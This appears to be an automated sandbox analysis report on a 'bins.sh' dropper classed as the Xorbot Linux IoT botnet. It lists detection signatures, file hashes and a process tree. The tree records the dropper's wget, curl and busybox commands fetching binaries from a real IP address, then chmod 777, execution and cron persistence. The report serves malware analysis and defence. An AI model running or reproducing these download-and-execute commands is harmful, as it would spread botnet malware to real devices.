Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    67s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    31/01/2025, 12:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250131-pc573axlar
  • SHA256 0b94c48747b796df1496afe5cb81d65a3a2b5bdb21851fddd602e658007bdb36
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2088) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:649
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:651
      • /usr/bin/wget
        wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:653
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:678
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:682
      • /bin/chmod
        chmod 777 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • File and Directory Permissions Modification
        PID:685
      • /tmp/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        ./0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
          PID:686
        • /bin/rm
          rm 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
          2⤵
            PID:688
          • /usr/bin/wget
            wget http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Writes file to tmp directory
            PID:690
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:705
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Writes file to tmp directory
            PID:723
          • /bin/chmod
            chmod 777 0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            ./0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:731
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:734
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:735
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:737
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:739
                • /bin/rm
                  rm 0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
                  2⤵
                    PID:743
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/BLbzxFNUtpnEsUjvW107Fu1L2NuG3jCR93
                    2⤵
                      PID:746

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
                        • Path /tmp/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
                        • Path /tmp/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.Mxy5I0
                        • Path /var/spool/cron/crontabs/tmp.Mxy5I0
                        • Size 210B
                        • SHA256 e8c6f4002488a82ff25cf42f7dfbf9b3628529df6e64028b7bef598bac9c631b
                        • MD5 SHA1 SHA512
                        Submit Download